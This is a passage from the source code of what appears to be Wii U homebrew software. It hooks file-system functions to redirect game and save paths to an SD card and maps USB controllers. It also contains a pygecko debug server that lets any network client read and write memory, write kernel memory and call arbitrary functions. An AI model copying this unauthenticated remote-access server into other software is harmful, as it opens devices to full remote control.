*path, int *handle, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_DIR); // change path if it is a game folder int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSOpenDir(pClient, pCmd, new_path, handle, error); } } return real_FSOpenDir(pClient, pCmd, path, handle, error); } DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_DIR_ASYNC); // change path if it is a game folder int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSOpenDirAsync(pClient, pCmd, new_path, handle, error, asyncParams); } } return real_FSOpenDirAsync(pClient, pCmd, path, handle, error, asyncParams); } DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_CHANGE_DIR); // change path if it is a game folder int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSChangeDir(pClient, pCmd, new_path, error); } } return real_FSChangeDir(pClient, pCmd, path, error); } DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_CHANGE_DIR_ASYNC); // change path if it is a game folder int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSChangeDirAsync(pClient, pCmd, new_path, error, asyncParams); } } return real_FSChangeDirAsync(pClient, pCmd, path, error, asyncParams); } /* ***************************************************************************** * Creates function pointer array * ****************************************************************************/ hooks_magic_t method_hooks_fs[] __attribute__((section(".data"))) = { // Common FS functions MAKE_MAGIC(FSInit, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSShutdown, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSAddClientEx, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSDelClient, LIB_CORE_INIT,STATIC_FUNCTION), // Replacement functions MAKE_MAGIC(FSGetStat, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetStatAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSOpenFile, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSOpenFileAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSOpenDir, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSOpenDirAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSChangeDir, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSChangeDirAsync, LIB_CORE_INIT,STATIC_FUNCTION), }; u32 method_hooks_size_fs __attribute__((section(".data"))) = sizeof(method_hooks_fs) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_fs[sizeof(method_hooks_fs) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/fs_patcher.h ================================================ #ifndef _FS_FUNCTION_PATCHER_H #define _FS_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" extern hooks_magic_t method_hooks_fs[]; extern u32 method_hooks_size_fs; extern volatile u32 method_calls_fs[]; #ifdef __cplusplus } #endif #endif /* _FS_FUNCTION_PATCHER_H */ ================================================ FILE: src/patcher/fs_sd_patcher.cpp ================================================ #include "malloc.h" #include "common/retain_vars.h" #include "fs_sd_patcher.h" #include "patcher_util.h" #include "fs_logger.h" // only for saves on sdcard DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_MAKE_DIR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSMakeDir(pClient, pCmd, new_path, error); } } return real_FSMakeDir(pClient, pCmd, path, error); } // only for saves on sdcard DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_MAKE_DIR_ASYNC); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSMakeDirAsync(pClient, pCmd, new_path, error, asyncParams); } } return real_FSMakeDirAsync(pClient, pCmd, path, error, asyncParams); } // only for saves on sdcard DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], oldPath, BYTE_RENAME); fs_log_string(bss.socket_fs[client], newPath, BYTE_RENAME); // change path if it is a save folder int pathType = getPathType(oldPath); if (pathType == PATH_TYPE_SAVE) { // old path int len_base = getNewPathLen(pathType); int len_old = strlen(oldPath); char new_old_path[len_old + len_base + 1]; compute_new_path(new_old_path, oldPath, len_old, pathType); // new path int len_new = strlen(newPath); char new_new_path[len_new + len_base + 1]; compute_new_path(new_new_path, newPath, len_new, pathType); // log new path fs_log_string(bss.socket_fs[client], new_old_path, BYTE_LOG_STR); fs_log_string(bss.socket_fs[client], new_new_path, BYTE_LOG_STR); return real_FSRename(pClient, pCmd, new_old_path, new_new_path, error); } } return real_FSRename(pClient, pCmd, oldPath, newPath, error); } // only for saves on sdcard DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], oldPath, BYTE_RENAME); fs_log_string(bss.socket_fs[client], newPath, BYTE_RENAME); // change path if it is a save folder int pathType = getPathType(oldPath); if (pathType == PATH_TYPE_SAVE) { // old path int len_base = getNewPathLen(pathType); int len_old = strlen(oldPath); char new_old_path[len_old + len_base + 1]; compute_new_path(new_old_path, oldPath, len_old, pathType); // new path int len_new = strlen(newPath); char new_new_path[len_new + len_base + 1]; compute_new_path(new_new_path, newPath, len_new, pathType); // log new path fs_log_string(bss.socket_fs[client], new_old_path, BYTE_LOG_STR); fs_log_string(bss.socket_fs[client], new_new_path, BYTE_LOG_STR); return real_FSRenameAsync(pClient, pCmd, new_old_path, new_new_path, error, asyncParams); } } return real_FSRenameAsync(pClient, pCmd, oldPath, newPath, error, asyncParams); } // only for saves on sdcard DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSRemove(pClient, pCmd, new_path, error); } } return real_FSRemove(pClient, pCmd, path, error); } // only for saves on sdcard DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSRemoveAsync(pClient, pCmd, new_path, error, asyncParams); } } return real_FSRemoveAsync(pClient, pCmd, path, error, asyncParams); } DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error) { int client = GetCurClient(pClient); if (client != -1) { // log //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSFlushQuota: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSFlushQuota(pClient, pCmd, new_path, error); } } return real_FSFlushQuota(pClient, pCmd, path, error); } DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSFlushQuotaAsync: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSFlushQuotaAsync(pClient, pCmd, new_path, error, asyncParams); } } return real_FSFlushQuotaAsync(pClient, pCmd, path, error, asyncParams); } DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error) { int client = GetCurClient(pClient); if (client != -1) { // log //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSGetFreeSpaceSize: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSGetFreeSpaceSize(pClient, pCmd, new_path, returnedFreeSize, error); } } return real_FSGetFreeSpaceSize(pClient, pCmd, path, returnedFreeSize, error); } DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log //fs_log_string(bss.socket_fs[client], path, BYTE_REMOVE); char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSGetFreeSpaceSizeAsync: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSGetFreeSpaceSizeAsync(pClient, pCmd, new_path, returnedFreeSize, error, asyncParams); } } return real_FSGetFreeSpaceSizeAsync(pClient, pCmd, path, returnedFreeSize, error, asyncParams); } DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error) { int client = GetCurClient(pClient); if (client != -1) { // log char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSRollbackQuota: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSRollbackQuota(pClient, pCmd, new_path, error); } } return real_FSRollbackQuota(pClient, pCmd, path, error); } DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSRollbackQuotaAsync: %s", path); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); // change path if it is a save folder int pathType = getPathType(path); if (pathType == PATH_TYPE_SAVE) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSRollbackQuotaAsync(pClient, pCmd, new_path, error, asyncParams); } } return real_FSRollbackQuotaAsync(pClient, pCmd, path, error, asyncParams); } /* ***************************************************************************** * Creates function pointer array * ****************************************************************************/ hooks_magic_t method_hooks_fs_sd[] __attribute__((section(".data"))) = { MAKE_MAGIC(FSMakeDir, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSMakeDirAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRename, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRenameAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRemove, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRemoveAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSFlushQuota, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSFlushQuotaAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetFreeSpaceSize, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetFreeSpaceSizeAsync, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRollbackQuota, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSRollbackQuotaAsync, LIB_CORE_INIT,STATIC_FUNCTION), }; u32 method_hooks_size_fs_sd __attribute__((section(".data"))) = sizeof(method_hooks_fs_sd) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_fs_sd[sizeof(method_hooks_fs_sd) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/fs_sd_patcher.h ================================================ #ifndef _FS_SD_FUNCTION_PATCHER_H #define _FS_SD_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" extern hooks_magic_t method_hooks_fs_sd[]; extern u32 method_hooks_size_fs_sd; extern volatile u32 method_calls_fs_sd[]; #ifdef __cplusplus } #endif #endif /* _FS_SD_FUNCTION_PATCHER_H */ ================================================ FILE: src/patcher/hid_controller_function_patcher.cpp ================================================ #include #include #include "hid_controller_function_patcher.h" #include "common/retain_vars.h" #include "settings/SettingsEnums.h" #include "video/CursorDrawer.h" #include "utils/logger.h" #include "controller_patcher/ControllerPatcher.hpp" DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target){ if(gHIDCurrentDevice & gHID_LIST_MOUSE && gHID_Mouse_Mode == HID_MOUSE_MODE_TOUCH) { HID_Mouse_Data * mouse_data = ControllerPatcher::getMouseData(); if(mouse_data != NULL){ CursorDrawer::draw(mouse_data->X, mouse_data->Y); } } real_GX2CopyColorBufferToScanBuffer(colorBuffer,scan_target); } DECL(void, __PPCExit, void){ CursorDrawer::destroyInstance(); ControllerPatcher::destroyConfigHelper(); ControllerPatcher::stopNetworkServer(); memset(gWPADConnectCallback,0,sizeof(gWPADConnectCallback)); memset(gKPADConnectCallback,0,sizeof(gKPADConnectCallback)); memset(gExtensionCallback,0,sizeof(gExtensionCallback)); gSamplingCallback = 0; gCallbackCooldown = 0; real___PPCExit(); } DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error) { int result = real_VPADRead(chan, buffer, buffer_size, error); if((gHIDPADEnabled == SETTING_ON) && gHIDAttached && buffer_size > 0){ ControllerPatcher::setRumble(UController_Type_Gamepad,!!VPADBASEGetMotorOnRemainingCount(0)); if(ControllerPatcher::setControllerDataFromHID(buffer) == CONTROLLER_PATCHER_ERROR_NONE){ if(buffer[0].btns_h & VPAD_BUTTON_HOME){ //You can open the home menu this way, but not close it. Need a proper way to close it using the same button... //OSSendAppSwitchRequest(5,0,0); //Open the home menu! } if(error != NULL){ *error = 0; } result = 1; // We want the WiiU to ignore everything else. } if(gButtonRemappingConfigDone){ ControllerPatcher::buttonRemapping(buffer,result); } } if(gSettingPadconMode == SETTING_ON){ if(buffer->btns_r&VPAD_BUTTON_STICK_R) { s32 mode; VPADGetLcdMode(0, &mode); // Get current display mode if(mode != 1) { VPADSetLcdMode(0, 1); // Turn it off } else { VPADSetLcdMode(0, 0xFF); // Turn it on } } } return result; } hooks_magic_t method_hooks_hid_controller[] __attribute__((section(".data"))) = { MAKE_MAGIC(VPADRead, LIB_VPAD, STATIC_FUNCTION), MAKE_MAGIC(GX2CopyColorBufferToScanBuffer, LIB_GX2, STATIC_FUNCTION), MAKE_MAGIC(__PPCExit, LIB_CORE_INIT, STATIC_FUNCTION), }; u32 method_hooks_size_hid_controller __attribute__((section(".data"))) = sizeof(method_hooks_hid_controller) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_hid_controller[sizeof(method_hooks_hid_controller) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/hid_controller_function_patcher.h ================================================ #ifndef _HID_CONTROLLER_FUNCTION_PATCHER_H #define _HID_CONTROLLER_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" extern hooks_magic_t method_hooks_hid_controller[]; extern u32 method_hooks_size_hid_controller; extern volatile u32 method_calls_hid_controller[]; #ifdef __cplusplus } #endif #endif /* _HID_CONTROLLER_FUNCTION_PATCHER_H */ ================================================ FILE: src/patcher/patcher_util.cpp ================================================ #include "patcher_util.h" #include "common/retain_vars.h" #include "cpp_to_c_util.h" /* Client functions */ int client_num_alloc(void *pClient) { int i; for (i = 0; i < MAX_CLIENT; i++) if (bss.pClient_fs[i] == pClient) { return i; } for (i = 0; i < MAX_CLIENT; i++) if (bss.pClient_fs[i] == 0) { bss.pClient_fs[i] = pClient; return i; } return -1; } int client_num(void *pClient) { int i; for (i = 0; i < MAX_CLIENT; i++) if (bss.pClient_fs[i] == pClient) return i; return -1; } void client_num_free(int client) { bss.pClient_fs[client] = 0; } int getPathType(const char *path) { // In case the path starts by "//" and not "/" (some games do that ... ...) if (path[0] == '/' && path[1] == '/') path = &path[1]; // In case the path does not start with "/" (some games do that too ...) int len = 0; char new_path[16]; if(path[0] != '/') { new_path[0] = '/'; len++; } while(*path && len < (int)(sizeof(new_path) - 1)) { new_path[len++] = *path++; } new_path[len++] = 0; /* Note : no need to check everything, it is faster this way */ if (strncasecmp(new_path, "/vol/content", 12) == 0) return PATH_TYPE_GAME; if (strncasecmp(new_path, "/vol/save", 9) == 0) return PATH_TYPE_SAVE; if (strncasecmp(new_path, "/vol/aoc", 8) == 0) return PATH_TYPE_AOC; return 0; } void compute_new_path(char* new_path, const char* path, int len, int pathType) { int i, n, path_offset = 0; // In case the path starts by "//" and not "/" (some games do that ... ...) if (path[0] == '/' && path[1] == '/') path = &path[1]; // In case the path does not start with "/" set an offset for all the accesses if(path[0] != '/') path_offset = -1; // some games are doing /vol/content/./.... if(path[13 + path_offset] == '.' && path[14 + path_offset] == '/') { path_offset += 2; } if(pathType == PATH_TYPE_GAME) { char * pathfoo = (char*)path + 13 + path_offset; if(path[13 + path_offset] == '/') pathfoo++; //Skip double slash n = strlcpy(new_path, bss.mount_base, sizeof(bss.mount_base)); if(gSettingUseUpdatepath){ if(replacement_FileReplacer_isFileExisting(bss.file_replacer,pathfoo) == 0){ n -= (sizeof(CONTENT_PATH) -1); // Go back the content folder! (-1 to ignore \0) n += strlcpy(new_path+n, UPDATE_PATH, sizeof(UPDATE_PATH)); new_path[n++] = '/'; n += strlcpy(new_path+n, gamePathStruct.update_folder, sizeof(gamePathStruct.update_folder)); n += strlcpy(new_path+n, CONTENT_PATH, sizeof(CONTENT_PATH)); } } // copy the content file path with slash at the beginning for (i = 0; i < (len - 12 - path_offset); i++) { char cChar = path[12 + i + path_offset]; // skip double slashes if((new_path[n-1] == '/') && (cChar == '/')) { continue; } new_path[n++] = cChar; } new_path[n++] = '\0'; } else if(pathType == PATH_TYPE_SAVE) { n = strlcpy(new_path, bss.save_base, sizeof(bss.save_base)); new_path[n++] = '/'; if(gSettingUseUpdatepath){ if(gamePathStruct.extraSave){ n += strlcpy(new_path+n, gamePathStruct.update_folder, sizeof(gamePathStruct.update_folder)); n += strlcpy(new_path+n, "/", 2); } } // Create path for common and user dirs if (path[10 + path_offset] == 'c') // common dir ("common") { n += strlcpy(&new_path[n], bss.save_dir_common, strlen(bss.save_dir_common) + 1); // copy the save game filename now with the slash at the beginning for (i = 0; i < (len - 16 - path_offset); i++) { char cChar = path[16 + path_offset + i]; // skip double slashes if((new_path[n-1] == '/') && (cChar == '/')) { continue; } new_path[n++] = cChar; } } else if (path[10 + path_offset] == '8') // user dir ("800000??") ?? = user permanent id { n += strlcpy(&new_path[n], bss.save_dir_user, strlen(bss.save_dir_user) + 1); // copy the save game filename now with the slash at the beginning for (i = 0; i < (len - 18 - path_offset); i++) { char cChar = path[18 + path_offset + i]; // skip double slashes if((new_path[n-1] == '/') && (cChar == '/')) { continue; } new_path[n++] = cChar; } } new_path[n++] = '\0'; } else if(pathType == PATH_TYPE_AOC) { char * pathfoo = (char*)path + 4 + path_offset; if(pathfoo[0] == '/') pathfoo++; //Skip double slash n = strlcpy(new_path, bss.mount_base, sizeof(bss.mount_base)) - strlen(CONTENT_PATH); n += strlcpy(new_path + n, "/", sizeof(bss.mount_base) - n); n += strlcpy(new_path + n, pathfoo, sizeof(bss.mount_base) - n); new_path[n++] = '\0'; } } int GetCurClient(void *pClient) { if ((int)bss_ptr != 0x0a000000) { int client = client_num(pClient); if (client >= 0) { return client; } } return -1; } int getNewPathLen(int pathType){ int len_base = 0; if(pathType == PATH_TYPE_SAVE) { len_base += strlen(bss.save_base) + 15; if(gSettingUseUpdatepath){ if(gamePathStruct.extraSave){ len_base += (strlen(gamePathStruct.update_folder) + 2); } } } else if(pathType == PATH_TYPE_AOC) { len_base += strlen(bss.mount_base) - strlen(CONTENT_PATH) + 23; } else { len_base += strlen(bss.mount_base); if(gSettingUseUpdatepath){ len_base += sizeof(UPDATE_PATH); //len_base += sizeof(CONTENT_PATH); <-- Is already in the path! len_base += 1; // "/" len_base += sizeof(gamePathStruct.update_folder); } } return len_base; } ================================================ FILE: src/patcher/patcher_util.h ================================================ #ifndef _PATCHER_UTIL_H #define _PATCHER_UTIL_H #ifdef __cplusplus extern "C" { #endif #include "common/common.h" #include #include #define PATH_TYPE_IGNORE 0 #define PATH_TYPE_GAME 1 #define PATH_TYPE_SAVE 2 #define PATH_TYPE_AOC 3 /* Forward declarations */ #define MAX_CLIENT 32 struct bss_t { int global_sock; int socket_fs[MAX_CLIENT]; void *pClient_fs[MAX_CLIENT]; volatile int lock; char mount_base[255]; char save_base[255]; void* file_replacer; char update_path[50]; char save_dir_common[7]; char save_dir_user[9]; }; #define bss_ptr (*(struct bss_t **)0x100000e4) #define bss (*bss_ptr) extern game_paths_t gamePathStruct; int client_num_alloc(void *pClient); int client_num(void *pClient); void client_num_free(int client); int getPathType(const char *path); void compute_new_path(char* new_path, const char* path, int len, int pathType); int GetCurClient(void *pClient); int getNewPathLen(int pathType); #ifdef __cplusplus } #endif #endif /* _PATCHER_UTIL_H */ ================================================ FILE: src/patcher/pygecko.c ================================================ #include #include #include "common/common.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/gx2_functions.h" #include "kernel/syscalls.h" struct pygecko_bss_t { int error, line; void* thread; unsigned char stack[0x8000]; }; #define CHECK_ERROR(cond) if (cond) { bss->line = __LINE__; goto error; } #define errno (*__gh_errno_ptr()) #define EWOULDBLOCK 6 static int recvwait(struct pygecko_bss_t *bss, int sock, void *buffer, int len) { int ret; while (len > 0) { ret = recv(sock, buffer, len, 0); CHECK_ERROR(ret < 0); len -= ret; buffer += ret; } return 0; error: bss->error = ret; return ret; } static int recvbyte(struct pygecko_bss_t *bss, int sock) { unsigned char buffer[1]; int ret; ret = recvwait(bss, sock, buffer, 1); if (ret < 0) return ret; return buffer[0]; } static int checkbyte(struct pygecko_bss_t *bss, int sock) { unsigned char buffer[1]; int ret; ret = recv(sock, buffer, 1, MSG_DONTWAIT); if (ret < 0) return ret; if (ret == 0) return -1; return buffer[0]; } static int sendwait(struct pygecko_bss_t *bss, int sock, const void *buffer, int len) { int ret; while (len > 0) { ret = send(sock, buffer, len, 0); CHECK_ERROR(ret < 0); len -= ret; buffer += ret; } return 0; error: bss->error = ret; return ret; } static int sendbyte(struct pygecko_bss_t *bss, int sock, unsigned char byte) { unsigned char buffer[1]; buffer[0] = byte; return sendwait(bss, sock, buffer, 1); } static int rungecko(struct pygecko_bss_t *bss, int clientfd) { int ret; unsigned char buffer[0x401]; while (1) { ret = checkbyte(bss, clientfd); if (ret < 0) { CHECK_ERROR(errno != EWOULDBLOCK); GX2WaitForVsync(); continue; } switch (ret) { case 0x01: { /* cmd_poke08 */ char *ptr; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((char **)buffer)[0]; *ptr = buffer[7]; DCFlushRange(ptr, 1); break; } case 0x02: { /* cmd_poke16 */ short *ptr; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((short **)buffer)[0]; *ptr = ((short *)buffer)[3]; DCFlushRange(ptr, 2); break; } case 0x03: { /* cmd_pokemem */ int *ptr; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((int **)buffer)[0]; *ptr = ((int *)buffer)[1]; DCFlushRange(ptr, 4); break; } case 0x04: { /* cmd_readmem */ const unsigned char *ptr, *end; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((const unsigned char **)buffer)[0]; end = ((const unsigned char **)buffer)[1]; while (ptr != end) { int len, i; len = end - ptr; if (len > 0x400) len = 0x400; for (i = 0; i < len; i++) if (ptr[i] != 0) break; if (i == len) { // all zero! ret = sendbyte(bss, clientfd, 0xb0); CHECK_ERROR(ret < 0); } else { memcpy(buffer + 1, ptr, len); buffer[0] = 0xbd; ret = sendwait(bss, clientfd, buffer, len + 1); CHECK_ERROR(ret < 0); } ret = checkbyte(bss, clientfd); if (ret == 0xcc) /* GCFAIL */ goto next_cmd; ptr += len; } break; } case 0x0b: { /* cmd_writekern */ void *ptr, * value; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((void **)buffer)[0]; value = ((void **)buffer)[1]; kern_write(ptr, (uint32_t)value); break; } case 0x0c: { /* cmd_readkern */ void *ptr, *value; ret = recvwait(bss, clientfd, buffer, 4); CHECK_ERROR(ret < 0); ptr = ((void **)buffer)[0]; value = (void*)kern_read(ptr); *(void **)buffer = value; sendwait(bss, clientfd, buffer, 4); break; } case 0x41: { /* cmd_upload */ unsigned char *ptr, *end, *dst; ret = recvwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); ptr = ((unsigned char **)buffer)[0]; end = ((unsigned char **)buffer)[1]; while (ptr != end) { int len; len = end - ptr; if (len > 0x400) len = 0x400; if ((int)ptr >= 0x10000000 && (int)ptr <= 0x50000000) { dst = ptr; } else { dst = buffer; } ret = recvwait(bss, clientfd, dst, len); CHECK_ERROR(ret < 0); if (dst == buffer) { memcpy(ptr, buffer, len); } ptr += len; } sendbyte(bss, clientfd, 0xaa); /* GCACK */ break; } case 0x50: { /* cmd_status */ ret = sendbyte(bss, clientfd, 1); /* running */ CHECK_ERROR(ret < 0); break; } case 0x70: { /* cmd_rpc */ long long (*fun)(int, int, int, int, int, int, int, int); int r3, r4, r5, r6, r7, r8, r9, r10; long long result; ret = recvwait(bss, clientfd, buffer, 4 + 8 * 4); CHECK_ERROR(ret < 0); fun = ((void **)buffer)[0]; r3 = ((int *)buffer)[1]; r4 = ((int *)buffer)[2]; r5 = ((int *)buffer)[3]; r6 = ((int *)buffer)[4]; r7 = ((int *)buffer)[5]; r8 = ((int *)buffer)[6]; r9 = ((int *)buffer)[7]; r10 = ((int *)buffer)[8]; result = fun(r3, r4, r5, r6, r7, r8, r9, r10); ((long long *)buffer)[0] = result; ret = sendwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); break; } case 0x71: { /* cmd_getsymbol */ int size = recvbyte(bss, clientfd); CHECK_ERROR(size < 0); ret = recvwait(bss, clientfd, buffer, size); CHECK_ERROR(ret < 0); /* Identify the RPL name and symbol name */ char *rplname = (char*) &((int*)buffer)[2]; char *symname = (char*) (&buffer[0] + 